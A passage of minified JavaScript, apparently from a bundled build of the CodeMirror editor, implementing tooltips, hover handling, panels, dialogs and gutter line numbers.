F1={Alt:[18,i=>!!i.altKey],Control:[17,i=>!!i.ctrlKey],Shift:[16,i=>!!i.shiftKey],Meta:[91,i=>!!i.metaKey]},_1={style:"cursor: crosshair"};function W1(i={}){let[e,t]=F1[i.key||"Alt"],n=se.fromClass(class{constructor(r){this.view=r,this.isDown=!1}set(r){this.isDown!=r&&(this.isDown=r,this.view.update([]))}},{eventObservers:{keydown(r){this.set(r.keyCode==e||t(r))},keyup(r){(r.keyCode==e||!t(r))&&this.set(!1)},mousemove(r){this.set(t(r))}}});return[n,A.contentAttributes.of(r=>{var s;return!((s=r.plugin(n))===null||s===void 0)&&s.isDown?_1:null})]}const or="-10000px";class qu{constructor(e,t,n,r){this.facet=t,this.createTooltipView=n,this.removeTooltipView=r,this.input=e.state.facet(t),this.tooltips=this.input.filter(o=>o);let s=null;this.tooltipViews=this.tooltips.map(o=>s=n(o,s))}update(e,t){var n;let r=e.state.facet(this.facet),s=r.filter(a=>a);if(r===this.input){for(let a of this.tooltipViews)a.update&&a.update(e);return!1}let o=[],l=t?[]:null;for(let a=0;a<s.length;a++){let h=s[a],c=-1;if(h){for(let f=0;f<this.tooltips.length;f++){let u=this.tooltips[f];u&&u.create==h.create&&(c=f)}if(c<0)o[a]=this.createTooltipView(h,a?o[a-1]:null),l&&(l[a]=!!h.above);else{let f=o[a]=this.tooltipViews[c];l&&(l[a]=t[c]),f.update&&f.update(e)}}}for(let a of this.tooltipViews)o.indexOf(a)<0&&(this.removeTooltipView(a),(n=a.destroy)===null||n===void 0||n.call(a));return t&&(l.forEach((a,h)=>t[h]=a),t.length=l.length),this.input=r,this.tooltips=s,this.tooltipViews=o,!0}}function $1(i){let e=i.dom.ownerDocument.documentElement;return{top:0,left:0,bottom:e.clientHeight,right:e.clientWidth}}const Gs=T.define({combine:i=>{var e,t,n;return{position:P.ios?"absolute":((e=i.find(r=>r.position))===null||e===void 0?void 0:e.position)||"fixed",parent:((t=i.find(r=>r.parent))===null||t===void 0?void 0:t.parent)||null,tooltipSpace:((n=i.find(r=>r.tooltipSpace))===null||n===void 0?void 0:n.tooltipSpace)||$1}}}),Nh=new WeakMap,ea=se.fromClass(class{constructor(i){this.view=i,this.above=[],this.inView=!0,this.madeAbsolute=!1,this.lastTransaction=0,this.measureTimeout=-1;let e=i.state.facet(Gs);this.position=e.position,this.parent=e.parent,this.classes=i.themeClasses,this.createContainer(),this.measureReq={read:this.readMeasure.bind(this),write:this.writeMeasure.bind(this),key:this},this.resizeObserver=typeof ResizeObserver=="function"?new ResizeObserver(()=>this.measureSoon()):null,this.manager=new qu(i,ta,(t,n)=>this.createTooltip(t,n),t=>{this.resizeObserver&&this.resizeObserver.unobserve(t.dom),t.dom.remove()}),this.above=this.manager.tooltips.map(t=>!!t.above),this.intersectionObserver=typeof IntersectionObserver=="function"?new IntersectionObserver(t=>{Date.now()>this.lastTransaction-50&&t.length>0&&t[t.length-1].intersectionRatio<1&&this.measureSoon()},{threshold:[1]}):null,this.observeIntersection(),i.win.addEventListener("resize",this.measureSoon=this.measureSoon.bind(this)),this.maybeMeasure()}createContainer(){this.parent?(this.container=document.createElement("div"),this.container.style.position="relative",this.container.className=this.view.themeClasses,this.parent.appendChild(this.container)):this.container=this.view.dom}observeIntersection(){if(this.intersectionObserver){this.intersectionObserver.disconnect();for(let i of this.manager.tooltipViews)this.intersectionObserver.observe(i.dom)}}measureSoon(){this.measureTimeout<0&&(this.measureTimeout=setTimeout(()=>{this.measureTimeout=-1,this.maybeMeasure()},50))}update(i){i.transactions.length&&(this.lastTransaction=Date.now());let e=this.manager.update(i,this.above);e&&this.observeIntersection();let t=e||i.geometryChanged,n=i.state.facet(Gs);if(n.position!=this.position&&!this.madeAbsolute){this.position=n.position;for(let r of this.manager.tooltipViews)r.dom.style.position=this.position;t=!0}if(n.parent!=this.parent){this.parent&&this.container.remove(),this.parent=n.parent,this.createContainer();for(let r of this.manager.tooltipViews)this.container.appendChild(r.dom);t=!0}else this.parent&&this.view.themeClasses!=this.classes&&(this.classes=this.container.className=this.view.themeClasses);t&&this.maybeMeasure()}createTooltip(i,e){let t=i.create(this.view),n=e?e.dom:null;if(t.dom.classList.add("cm-tooltip"),i.arrow&&!t.dom.querySelector(".cm-tooltip > .cm-tooltip-arrow")){let r=document.createElement("div");r.className="cm-tooltip-arrow",t.dom.appendChild(r)}return t.dom.style.position=this.position,t.dom.style.top=or,t.dom.style.left="0px",this.container.insertBefore(t.dom,n),t.mount&&t.mount(this.view),this.resizeObserver&&this.resizeObserver.observe(t.dom),t}destroy(){var i,e,t;this.view.win.removeEventListener("resize",this.measureSoon);for(let n of this.manager.tooltipViews)n.dom.remove(),(i=n.destroy)===null||i===void 0||i.call(n);this.parent&&this.container.remove(),(e=this.resizeObserver)===null||e===void 0||e.disconnect(),(t=this.intersectionObserver)===null||t===void 0||t.disconnect(),clearTimeout(this.measureTimeout)}readMeasure(){let i=1,e=1,t=!1;if(this.position=="fixed"&&this.manager.tooltipViews.length){let{dom:s}=this.manager.tooltipViews[0];if(P.safari){let o=s.getBoundingClientRect();t=Math.abs(o.top+1e4)>1||Math.abs(o.left)>1}else t=!!s.offsetParent&&s.offsetParent!=this.container.ownerDocument.body}if(t||this.position=="absolute")if(this.parent){let s=this.parent.getBoundingClientRect();s.width&&s.height&&(i=s.width/this.parent.offsetWidth,e=s.height/this.parent.offsetHeight)}else({scaleX:i,scaleY:e}=this.view.viewState);let n=this.view.scrollDOM.getBoundingClientRect(),r=Yl(this.view);return{visible:{left:n.left+r.left,top:n.top+r.top,right:n.right-r.right,bottom:n.bottom-r.bottom},parent:this.parent?this.container.getBoundingClientRect():this.view.dom.getBoundingClientRect(),pos:this.manager.tooltips.map((s,o)=>{let l=this.manager.tooltipViews[o];return l.getCoords?l.getCoords(s.pos):this.view.coordsAtPos(s.pos)}),size:this.manager.tooltipViews.map(({dom:s})=>s.getBoundingClientRect()),space:this.view.state.facet(Gs).tooltipSpace(this.view),scaleX:i,scaleY:e,makeAbsolute:t}}writeMeasure(i){var e;if(i.makeAbsolute){this.madeAbsolute=!0,this.position="absolute";for(let l of this.manager.tooltipViews)l.dom.style.position="absolute"}let{visible:t,space:n,scaleX:r,scaleY:s}=i,o=[];for(let l=0;l<this.manager.tooltips.length;l++){let a=this.manager.tooltips[l],h=this.manager.tooltipViews[l],{dom:c}=h,f=i.pos[l],u=i.size[l];if(!f||a.clip!==!1&&(f.bottom<=Math.max(t.top,n.top)||f.top>=Math.min(t.bottom,n.bottom)||f.right<Math.max(t.left,n.left)-.1||f.left>Math.min(t.right,n.right)+.1)){c.style.top=or;continue}let d=a.arrow?h.dom.querySelector(".cm-tooltip-arrow"):null,p=d?7:0,g=u.right-u.left,m=(e=Nh.get(h))!==null&&e!==void 0?e:u.bottom-u.top,b=h.offset||V1,x=this.view.textDirection==J.LTR,S=u.width>n.right-n.left?x?n.left:n.right-u.width:x?Math.max(n.left,Math.min(f.left-(d?14:0)+b.x,n.right-g)):Math.min(Math.max(n.left,f.left-g+(d?14:0)-b.x),n.right-g),M=this.above[l];!a.strictSide&&(M?f.top-m-p-b.y<n.top:f.bottom+m+p+b.y>n.bottom)&&M==n.bottom-f.bottom>f.top-n.top&&(M=this.above[l]=!M);let k=(M?f.top-n.top:n.bottom-f.bottom)-p;if(k<m&&h.resize!==!1){if(k<this.view.defaultLineHeight){c.style.top=or;continue}Nh.set(h,m),c.style.height=(m=k)/s+"px"}else c.style.height&&(c.style.height="");let w=M?f.top-m-p-b.y:f.bottom+p+b.y,O=S+g;if(h.overlap!==!0)for(let I of o)I.left<O&&I.right>S&&I.top<w+m&&I.bottom>w&&(w=M?I.top-m-2-p:I.bottom+p+2);if(this.position=="absolute"?(c.style.top=(w-i.parent.top)/s+"px",Bh(c,(S-i.parent.left)/r)):(c.style.top=w/s+"px",Bh(c,S/r)),d){let I=f.left+(x?b.x:-b.x)-(S+14-7);d.style.left=I/r+"px"}h.overlap!==!0&&o.push({left:S,top:w,right:O,bottom:w+m}),c.classList.toggle("cm-tooltip-above",M),c.classList.toggle("cm-tooltip-below",!M),h.positioned&&h.positioned(i.space)}}maybeMeasure(){if(this.manager.tooltips.length&&(this.view.inView&&this.view.requestMeasure(this.measureReq),this.inView!=this.view.inView&&(this.inView=this.view.inView,!this.inView)))for(let i of this.manager.tooltipViews)i.dom.style.top=or}},{eventObservers:{scroll(){this.maybeMeasure()}}});function Bh(i,e){let t=parseInt(i.style.left,10);(isNaN(t)||Math.abs(e-t)>1)&&(i.style.left=e+"px")}const H1=A.baseTheme({".cm-tooltip":{zIndex:500,boxSizing:"border-box"},"&light .cm-tooltip":{border:"1px solid #bbb",backgroundColor:"#f5f5f5"},"&light .cm-tooltip-section:not(:first-child)":{borderTop:"1px solid #bbb"},"&dark .cm-tooltip":{backgroundColor:"#333338",color:"white"},".cm-tooltip-arrow":{height:"7px",width:"14px",position:"absolute",zIndex:-1,overflow:"hidden","&:before, &:after":{content:"''",position:"absolute",width:0,height:0,borderLeft:"7px solid transparent",borderRight:"7px solid transparent"},".cm-tooltip-above &":{bottom:"-7px","&:before":{borderTop:"7px solid #bbb"},"&:after":{borderTop:"7px solid #f5f5f5",bottom:"1px"}},".cm-tooltip-below &":{top:"-7px","&:before":{borderBottom:"7px solid #bbb"},"&:after":{borderBottom:"7px solid #f5f5f5",top:"1px"}}},"&dark .cm-tooltip .cm-tooltip-arrow":{"&:before":{borderTopColor:"#333338",borderBottomColor:"#333338"},"&:after":{borderTopColor:"transparent",borderBottomColor:"transparent"}}}),V1={x:0,y:0},ta=T.define({enables:[ea,H1]}),zr=T.define({combine:i=>i.reduce((e,t)=>e.concat(t),[])});class Ss{static create(e){return new Ss(e)}constructor(e){this.view=e,this.mounted=!1,this.dom=document.createElement("div"),this.dom.classList.add("cm-tooltip-hover"),this.manager=new qu(e,zr,(t,n)=>this.createHostedView(t,n),t=>t.dom.remove())}createHostedView(e,t){let n=e.create(this.view);return n.dom.classList.add("cm-tooltip-section"),this.dom.insertBefore(n.dom,t?t.dom.nextSibling:this.dom.firstChild),this.mounted&&n.mount&&n.mount(this.view),n}mount(e){for(let t of this.manager.tooltipViews)t.mount&&t.mount(e);this.mounted=!0}positioned(e){for(let t of this.manager.tooltipViews)t.positioned&&t.positioned(e)}update(e){this.manager.update(e)}destroy(){var e;for(let t of this.manager.tooltipViews)(e=t.destroy)===null||e===void 0||e.call(t)}passProp(e){let t;for(let n of this.manager.tooltipViews){let r=n[e];if(r!==void 0){if(t===void 0)t=r;else if(t!==r)return}}return t}get offset(){return this.passProp("offset")}get getCoords(){return this.passProp("getCoords")}get overlap(){return this.passProp("overlap")}get resize(){return this.passProp("resize")}}const Q1=ta.compute([zr],i=>{let e=i.facet(zr);return e.length===0?null:{pos:Math.min(...e.map(t=>t.pos)),end:Math.max(...e.map(t=>{var n;return(n=t.end)!==null&&n!==void 0?n:t.pos})),create:Ss.create,above:e[0].above,arrow:e.some(t=>t.arrow)}}),Uu=T.define();class z1{constructor(e,t,n,r,s,o){this.view=e,this.source=t,this.field=n,this.locked=r,this.setHover=s,this.hoverTime=o,this.hoverTimeout=-1,this.restartTimeout=-1,this.pending=null,this.lastMove={x:0,y:0,target:e.dom,time:0},this.checkHover=this.checkHover.bind(this),e.dom.addEventListener("mouseleave",this.mouseleave=this.mouseleave.bind(this)),e.dom.addEventListener("mousemove",this.mousemove=this.mousemove.bind(this))}update(e){this.pending&&(this.pending=null,clearTimeout(this.restartTimeout),this.restartTimeout=setTimeout(()=>this.startHover(),20))}get active(){return this.view.state.field(this.field)}checkHover(){if(this.hoverTimeout=-1,this.active.length)return;let e=Date.now()-this.lastMove.time;e<this.hoverTime?this.hoverTimeout=setTimeout(this.checkHover,this.hoverTime-e):this.startHover()}startHover(){clearTimeout(this.restartTimeout);let{view:e,lastMove:t}=this,n=e.docView.tile.nearest(t.target);if(!n)return;let r,s=1;if(n.isWidget())r=n.posAtStart;else{if(r=e.posAtCoords(t),r==null)return;let o=e.coordsAtPos(r);if(!o||t.y<o.top||t.y>o.bottom||t.x<o.left-e.defaultCharacterWidth||t.x>o.right+e.defaultCharacterWidth)return;let l=e.bidiSpans(e.state.doc.lineAt(r)).find(h=>h.from<=r&&h.to>=r),a=l&&l.dir==J.RTL?-1:1;s=t.x<o.left?-a:a}this.activateHover(e,r,s)}activateHover(e,t,n,r){let s=this.source(e,t,n),o=l=>{if(l&&!(Array.isArray(l)&&!l.length)){let a=Array.isArray(l)?l:[l];r&&this.locked.set(a,r),e.dispatch({effects:this.setHover.of(a)})}};if(s&&"then"in s){let l=this.pending={pos:t};s.then(a=>{this.pending==l&&(this.pending=null,o(a))},a=>Fe(e.state,a,"hover tooltip"))}else o(s)}get tooltip(){let e=this.view.plugin(ea),t=e?e.manager.tooltips.findIndex(n=>n.create==Ss.create):-1;return t>-1?e.manager.tooltipViews[t]:null}mousemove(e){var t,n;this.lastMove={x:e.clientX,y:e.clientY,target:e.target,time:Date.now()},this.hoverTimeout<0&&(this.hoverTimeout=setTimeout(this.checkHover,this.hoverTime));let{active:r,tooltip:s}=this;if(r.length&&!this.locked.has(r)&&s&&!q1(s.dom,e)||this.pending){let{pos:o}=r[0]||this.pending,l=(n=(t=r[0])===null||t===void 0?void 0:t.end)!==null&&n!==void 0?n:o;(o==l?this.view.posAtCoords(this.lastMove)!=o:!U1(this.view,o,l,e.clientX,e.clientY))&&(this.view.dispatch({effects:this.setHover.of([])}),this.pending=null)}}mouseleave(e){clearTimeout(this.hoverTimeout),this.hoverTimeout=-1;let{active:t}=this;if(t.length&&!this.locked.has(t)){let{tooltip:n}=this;n&&n.dom.contains(e.relatedTarget)?this.watchTooltipLeave(n.dom):this.view.dispatch({effects:this.setHover.of([])})}}watchTooltipLeave(e){let t=n=>{e.removeEventListener("mouseleave",t);let{active:r}=this;r.length&&!this.locked.has(r)&&!this.view.dom.contains(n.relatedTarget)&&this.view.dispatch({effects:this.setHover.of([])})};e.addEventListener("mouseleave",t)}destroy(){clearTimeout(this.hoverTimeout),clearTimeout(this.restartTimeout),this.view.dom.removeEventListener("mouseleave",this.mouseleave),this.view.dom.removeEventListener("mousemove",this.mousemove)}}const lr=4;function q1(i,e){let{left:t,right:n,top:r,bottom:s}=i.getBoundingClientRect(),o;if(o=i.querySelector(".cm-tooltip-arrow")){let l=o.getBoundingClientRect();r=Math.min(l.top,r),s=Math.max(l.bottom,s)}return e.clientX>=t-lr&&e.clientX<=n+lr&&e.clientY>=r-lr&&e.clientY<=s+lr}function U1(i,e,t,n,r,s){let o=i.scrollDOM.getBoundingClientRect(),l=i.documentTop+i.documentPadding.top+i.contentHeight;if(o.left>n||o.right<n||o.top>r||Math.min(o.bottom,l)<r)return!1;let a=i.posAtCoords({x:n,y:r},!1);return a>=e&&a<=t}function K1(i,e={}){let t=N.define(),n=new WeakMap,r=Ae.define({create(){return[]},update(o,l){let a=n.get(o);if(o.length&&(e.hideOnChange&&(l.docChanged||l.selection)?o=[]:a&&a(l)?o=[]:e.hideOn&&(o=o.filter(h=>!e.hideOn(l,h)))),l.docChanged&&o.length){let h=[];for(let c of o){let f=l.changes.mapPos(c.pos,-1,De.TrackDel);if(f!=null){let u=Object.assign(Object.create(null),c);u.pos=f,u.end!=null&&(u.end=l.changes.mapPos(u.end)),h.push(u)}}o=h}for(let h of l.effects)h.is(t)&&(o=h.value,a=void 0),(h.is(j1)&&!h.value||h.value==r)&&(o=[]);return o.length&&a&&n.set(o,a),o},provide:o=>zr.from(o)});const s=se.define(o=>new z1(o,i,r,n,t,e.hoverTime||300));return{active:r,extension:[r,s,Uu.of(s),Q1]}}function X1(i,e,t,n={}){var r;let s=i.state.facet(Uu).map(o=>i.plugin(o)).filter(o=>!!o);if(n.tooltip&&n.tooltip.active){let o=s.find(l=>l.field==n.tooltip.active);o&&(s=[o])}for(let o of s)o.activateHover(i,e,t,(r=n.until)!==null&&r!==void 0?r:(()=>!1))}function Ku(i,e){let t=i.plugin(ea);if(!t)return null;let n=t.manager.tooltips.indexOf(e);return n<0?null:t.manager.tooltipViews[n]}const j1=N.define(),Fh=T.define({combine(i){let e,t;for(let n of i)e=e||n.topContainer,t=t||n.bottomContainer;return{topContainer:e,bottomContainer:t}}});function ia(i,e){let t=i.plugin(Xu),n=t?t.specs.indexOf(e):-1;return n>-1?t.panels[n]:null}const Xu=se.fromClass(class{constructor(i){this.input=i.state.facet(Ln),this.specs=this.input.filter(t=>t),this.panels=this.specs.map(t=>t(i));let e=i.state.facet(Fh);this.top=new ar(i,!0,e.topContainer),this.bottom=new ar(i,!1,e.bottomContainer),this.top.sync(this.panels.filter(t=>t.top)),this.bottom.sync(this.panels.filter(t=>!t.top));for(let t of this.panels)t.dom.classList.add("cm-panel"),t.mount&&t.mount()}update(i){let e=i.state.facet(Fh);this.top.container!=e.topContainer&&(this.top.sync([]),this.top=new ar(i.view,!0,e.topContainer)),this.bottom.container!=e.bottomContainer&&(this.bottom.sync([]),this.bottom=new ar(i.view,!1,e.bottomContainer)),this.top.syncClasses(),this.bottom.syncClasses();let t=i.state.facet(Ln);if(t!=this.input){let n=t.filter(a=>a),r=[],s=[],o=[],l=[];for(let a of n){let h=this.specs.indexOf(a),c;h<0?(c=a(i.view),l.push(c)):(c=this.panels[h],c.update&&c.update(i)),r.push(c),(c.top?s:o).push(c)}this.specs=n,this.panels=r,this.top.sync(s),this.bottom.sync(o);for(let a of l)a.dom.classList.add("cm-panel"),a.mount&&a.mount()}else for(let n of this.panels)n.update&&n.update(i)}destroy(){this.top.sync([]),this.bottom.sync([])}},{provide:i=>A.scrollMargins.of(e=>{let t=e.plugin(i);return t&&{top:t.top.scrollMargin(),bottom:t.bottom.scrollMargin()}})});class ar{constructor(e,t,n){this.view=e,this.top=t,this.container=n,this.dom=void 0,this.classes="",this.panels=[],this.syncClasses()}sync(e){for(let t of this.panels)t.destroy&&e.indexOf(t)<0&&t.destroy();this.panels=e,this.syncDOM()}syncDOM(){if(this.panels.length==0){this.dom&&(this.dom.remove(),this.dom=void 0);return}if(!this.dom){this.dom=document.createElement("div"),this.dom.className=this.top?"cm-panels cm-panels-top":"cm-panels cm-panels-bottom",this.dom.style[this.top?"top":"bottom"]="0";let t=this.container||this.view.dom;t.insertBefore(this.dom,this.top?t.firstChild:null)}let e=this.dom.firstChild;for(let t of this.panels)if(t.dom.parentNode==this.dom){for(;e!=t.dom;)e=_h(e);e=e.nextSibling}else this.dom.insertBefore(t.dom,e);for(;e;)e=_h(e)}scrollMargin(){return!this.dom||this.container?0:Math.max(0,this.top?this.dom.getBoundingClientRect().bottom-Math.max(0,this.view.scrollDOM.getBoundingClientRect().top):Math.min(innerHeight,this.view.scrollDOM.getBoundingClientRect().bottom)-this.dom.getBoundingClientRect().top)}syncClasses(){if(!(!this.container||this.classes==this.view.themeClasses)){for(let e of this.classes.split(" "))e&&this.container.classList.remove(e);for(let e of(this.classes=this.view.themeClasses).split(" "))e&&this.container.classList.add(e)}}}function _h(i){let e=i.nextSibling;return i.remove(),e}const Ln=T.define({enables:Xu});function Y1(i,e){let t,n=new Promise(o=>t=o),r=o=>G1(o,e,t);i.state.field(Js,!1)?i.dispatch({effects:ju.of(r)}):i.dispatch({effects:N.appendConfig.of(Js.init(()=>[r]))});let s=Yu.of(r);return{close:s,result:n.then(o=>((i.win.queueMicrotask||(a=>i.win.setTimeout(a,10)))(()=>{i.state.field(Js).indexOf(r)>-1&&i.dispatch({effects:s})}),o))}}const Js=Ae.define({create(){return[]},update(i,e){for(let t of e.effects)t.is(ju)?i=[t.value].concat(i):t.is(Yu)&&(i=i.filter(n=>n!=t.value));return i},provide:i=>Ln.computeN([i],e=>e.field(i))}),ju=N.define(),Yu=N.define();function G1(i,e,t){let n=e.content?e.content(i,()=>o(null)):null;if(!n){if(n=j("form"),e.input){let l=j("input",e.input);/^(text|password|number|email|tel|url)$/.test(l.type)&&l.classList.add("cm-textfield"),l.name||(l.name="input"),n.appendChild(j("label",(e.label||"")+": ",l))}else n.appendChild(document.createTextNode(e.label||""));n.appendChild(document.createTextNode(" ")),n.appendChild(j("button",{class:"cm-button",type:"submit"},e.submitLabel||"OK"))}let r=n.nodeName=="FORM"?[n]:n.querySelectorAll("form");for(let l=0;l<r.length;l++){let a=r[l];a.addEventListener("keydown",h=>{h.keyCode==27?(h.preventDefault(),o(null)):h.keyCode==13&&(h.preventDefault(),o(a))}),a.addEventListener("submit",h=>{h.preventDefault(),o(a)})}let s=j("div",n,j("button",{onclick:()=>o(null),"aria-label":i.state.phrase("close"),class:"cm-dialog-close",type:"button"},["×"]));e.class&&(s.className=e.class),s.classList.add("cm-dialog");function o(l){s.contains(s.ownerDocument.activeElement)&&i.focus(),t(l)}return{dom:s,top:e.top,mount:()=>{if(e.focus){let l;typeof e.focus=="string"?l=n.querySelector(e.focus):l=n.querySelector("input")||n.querySelector("button"),l&&"select"in l?l.select():l&&"focus"in l&&l.focus()}}}}class Dt extends Vt{compare(e){return this==e||this.constructor==e.constructor&&this.eq(e)}eq(e){return!1}destroy(e){}}Dt.prototype.elementClass="";Dt.prototype.toDOM=void 0;Dt.prototype.mapMode=De.TrackBefore;Dt.prototype.startSide=Dt.prototype.endSide=-1;Dt.prototype.point=!0;const Cr=T.define(),J1=T.define(),Z1={class:"",renderEmptyElements:!1,elementStyle:"",markers:()=>$.empty,lineMarker:()=>null,widgetMarker:()=>null,lineMarkerChange:null,initialSpacer:null,updateSpacer:null,domEventHandlers:{},side:"before"},Sn=T.define();function ex(i){return[Gu(),Sn.of({...Z1,...i})]}const Wh=T.define({combine:i=>i.some(e=>e)});function Gu(i){return[tx]}const tx=se.fromClass(class{constructor(i){this.view=i,this.domAfter=null,this.prevViewport=i.viewport,this.dom=document.createElement("div"),this.dom.className="cm-gutters cm-gutters-before",this.dom.setAttribute("aria-hidden","true"),this.dom.style.minHeight=this.view.contentHeight/this.view.scaleY+"px",this.gutters=i.state.facet(Sn).map(e=>new Hh(i,e)),this.fixed=!i.state.facet(Wh);for(let e of this.gutters)e.config.side=="after"?this.getDOMAfter().appendChild(e.dom):this.dom.appendChild(e.dom);this.fixed&&(this.dom.style.position="sticky"),this.syncGutters(!1),i.scrollDOM.insertBefore(this.dom,i.contentDOM)}getDOMAfter(){return this.domAfter||(this.domAfter=document.createElement("div"),this.domAfter.className="cm-gutters cm-gutters-after",this.domAfter.setAttribute("aria-hidden","true"),this.domAfter.style.minHeight=this.view.contentHeight/this.view.scaleY+"px",this.domAfter.style.position=this.fixed?"sticky":"",this.view.scrollDOM.appendChild(this.domAfter)),this.domAfter}update(i){if(this.updateGutters(i)){let e=this.prevViewport,t=i.view.viewport,n=Math.min(e.to,t.to)-Math.max(e.from,t.from);this.syncGutters(n<(t.to-t.from)*.8)}if(i.geometryChanged){let e=this.view.contentHeight/this.view.scaleY+"px";this.dom.style.minHeight=e,this.domAfter&&(this.domAfter.style.minHeight=e)}this.view.state.facet(Wh)!=!this.fixed&&(this.fixed=!this.fixed,this.dom.style.position=this.fixed?"sticky":"",this.domAfter&&(this.domAfter.style.position=this.fixed?"sticky":"")),this.prevViewport=i.view.viewport}syncGutters(i){let e=this.dom.nextSibling;i&&(this.dom.remove(),this.domAfter&&this.domAfter.remove());let t=$.iter(this.view.state.facet(Cr),this.view.viewport.from),n=[],r=this.gutters.map(s=>new ix(s,this.view.viewport,-this.view.documentPadding.top));for(let s of this.view.viewportLineBlocks)if(n.length&&(n=[]),Array.isArray(s.type)){let o=!0;for(let l of s.type)if(l.type==Se.Text&&o){cl(t,n,l.from);for(let a of r)a.line(this.view,l,n);o=!1}else if(l.widget)for(let a of r)a.widget(this.view,l)}else if(s.type==Se.Text){cl(t,n,s.from);for(let o of r)o.line(this.view,s,n)}else if(s.widget)for(let o of r)o.widget(this.view,s);for(let s of r)s.finish();i&&(this.view.scrollDOM.insertBefore(this.dom,e),this.domAfter&&this.view.scrollDOM.appendChild(this.domAfter))}updateGutters(i){let e=i.startState.facet(Sn),t=i.state.facet(Sn),n=i.docChanged||i.heightChanged||i.viewportChanged||!$.eq(i.startState.facet(Cr),i.state.facet(Cr),i.view.viewport.from,i.view.viewport.to);if(e==t)for(let r of this.gutters)r.update(i)&&(n=!0);else{n=!0;let r=[];for(let s of t){let o=e.indexOf(s);o<0?r.push(new Hh(this.view,s)):(this.gutters[o].update(i),r.push(this.gutters[o]))}for(let s of this.gutters)s.dom.remove(),r.indexOf(s)<0&&s.destroy();for(let s of r)s.config.side=="after"?this.getDOMAfter().appendChild(s.dom):this.dom.appendChild(s.dom);this.gutters=r}return n}destroy(){for(let i of this.gutters)i.destroy();this.dom.remove(),this.domAfter&&this.domAfter.remove()}},{provide:i=>A.scrollMargins.of(e=>{let t=e.plugin(i);if(!t||t.gutters.length==0||!t.fixed)return null;let n=t.dom.offsetWidth*e.scaleX,r=t.domAfter?t.domAfter.offsetWidth*e.scaleX:0;return e.textDirection==J.LTR?{left:n,right:r}:{right:n,left:r}})});function $h(i){return Array.isArray(i)?i:[i]}function cl(i,e,t){for(;i.value&&i.from<=t;)i.from==t&&e.push(i.value),i.next()}class ix{constructor(e,t,n){this.gutter=e,this.height=n,this.i=0,this.cursor=$.iter(e.markers,t.from)}addElement(e,t,n){let{gutter:r}=this,s=(t.top-this.height)/e.scaleY,o=t.height/e.scaleY;if(this.i==r.elements.length){let l=new Ju(e,o,s,n);r.elements.push(l),r.dom.appendChild(l.dom)}else r.elements[this.i].update(e,o,s,n);this.height=t.bottom,this.i++}line(e,t,n){let r=[];cl(this.cursor,r,t.from),n.length&&(r=r.concat(n));let s=this.gutter.config.lineMarker(e,t,r);s&&r.unshift(s);let o=this.gutter;r.length==0&&!o.config.renderEmptyElements||this.addElement(e,t,r)}widget(e,t){let n=this.gutter.config.widgetMarker(e,t.widget,t),r=n?[n]:null;for(let s of e.state.facet(J1)){let o=s(e,t.widget,t);o&&(r||(r=[])).push(o)}r&&this.addElement(e,t,r)}finish(){let e=this.gutter;for(;e.elements.length>this.i;){let t=e.elements.pop();e.dom.removeChild(t.dom),t.destroy()}}}class Hh{constructor(e,t){this.view=e,this.config=t,this.elements=[],this.spacer=null,this.dom=document.createElement("div"),this.dom.className="cm-gutter"+(this.config.class?" "+this.config.class:"");for(let n in t.domEventHandlers)this.dom.addEventListener(n,r=>{let s=r.target,o;if(s!=this.dom&&this.dom.contains(s)){for(;s.parentNode!=this.dom;)s=s.parentNode;let a=s.getBoundingClientRect();o=(a.top+a.bottom)/2}else o=r.clientY;let l=e.lineBlockAtHeight(o-e.documentTop);t.domEventHandlers[n](e,l,r)&&r.preventDefault()});this.markers=$h(t.markers(e)),t.initialSpacer&&(this.spacer=new Ju(e,0,0,[t.initialSpacer(e)]),this.dom.appendChild(this.spacer.dom),this.spacer.dom.style.cssText+="visibility: hidden; pointer-events: none")}update(e){let t=this.markers;if(this.markers=$h(this.config.markers(e.view)),this.spacer&&this.config.updateSpacer){let r=this.config.updateSpacer(this.spacer.markers[0],e);r!=this.spacer.markers[0]&&this.spacer.update(e.view,0,0,[r])}let n=e.view.viewport;return!$.eq(this.markers,t,n.from,n.to)||(this.config.lineMarkerChange?this.config.lineMarkerChange(e):!1)}destroy(){for(let e of this.elements)e.destroy()}}class Ju{constructor(e,t,n,r){this.height=-1,this.above=0,this.markers=[],this.dom=document.createElement("div"),this.dom.className="cm-gutterElement",this.update(e,t,n,r)}update(e,t,n,r){this.height!=t&&(this.height=t,this.dom.style.height=t+"px"),this.above!=n&&(this.dom.style.marginTop=(this.above=n)?n+"px":""),nx(this.markers,r)||this.setMarkers(e,r)}setMarkers(e,t){let n="cm-gutterElement",r=this.dom.firstChild;for(let s=0,o=0;;){let l=o,a=s<t.length?t[s++]:null,h=!1;if(a){let c=a.elementClass;c&&(n+=" "+c);for(let f=o;f<this.markers.length;f++)if(this.markers[f].compare(a)){l=f,h=!0;break}}else l=this.markers.length;for(;o<l;){let c=this.markers[o++];if(c.toDOM){c.destroy(r);let f=r.nextSibling;r.remove(),r=f}}if(!a)break;a.toDOM&&(h?r=r.nextSibling:this.dom.insertBefore(a.toDOM(e),r)),h&&o++}this.dom.className=n,this.markers=t}destroy(){this.setMarkers(null,[])}}function nx(i,e){if(i.length!=e.length)return!1;for(let t=0;t<i.length;t++)if(!i[t].compare(e[t]))return!1;return!0}const rx=T.define(),sx=T.define(),Ci=T.define({combine(i){return kt(i,{formatNumber:String,domEventHandlers:{}},{domEventHandlers(e,t){let n=Object.assign({},e);for(let r in t){let s=n[r],o=t[r];n[r]=s?(l,a,h)=>s(l,a,h)||o(l,a,h):o}return n}})}});class Zs extends Dt{constructor(e){super(),this.number=e}eq(e){return this.number==e.number}toDOM(){return document.createTextNode(this.number)}}function eo(i,e){return i.state.facet(Ci).formatNumber(e,i.state)}const ox=Sn.compute([Ci],i=>({class:"cm-lineNumbers",renderEmptyElements:!1,markers(e){return e.state.facet(rx)},lineMarker(e,t,n){return n.some(r=>r.toDOM)?null:new Zs(eo(e,e.state.doc.lineAt(t.from).number))},widgetMarker:(e,t,n)=>{for(let r of e.state.facet(sx)){let s=r(e,t,n);if(s)return s}return null},lineMarkerChange:e=>e.startState.facet(Ci)!=e.state.facet(Ci),initialSpacer(e){return new Zs(eo(e,Vh(e.state.doc.lines)))},updateSpacer(e,t){let n=eo(t.view,Vh(t.view.state.doc.lines));return n==e.number?e:new Zs(n)},domEventHandlers:i.facet(Ci).domEventHandlers,side:"before"}));function lx(i={}){return[Ci.of(i),Gu(),ox]}function Vh(i){let e=9;for(;e<i;)e=e*10+9;return e}const ax=new class extends Dt{constructor(){super(...arguments),this.elementClass="cm-activeLineGutter"}},hx=Cr.compute(["selection"],i=>{let e=[],t=-1;for(let n of 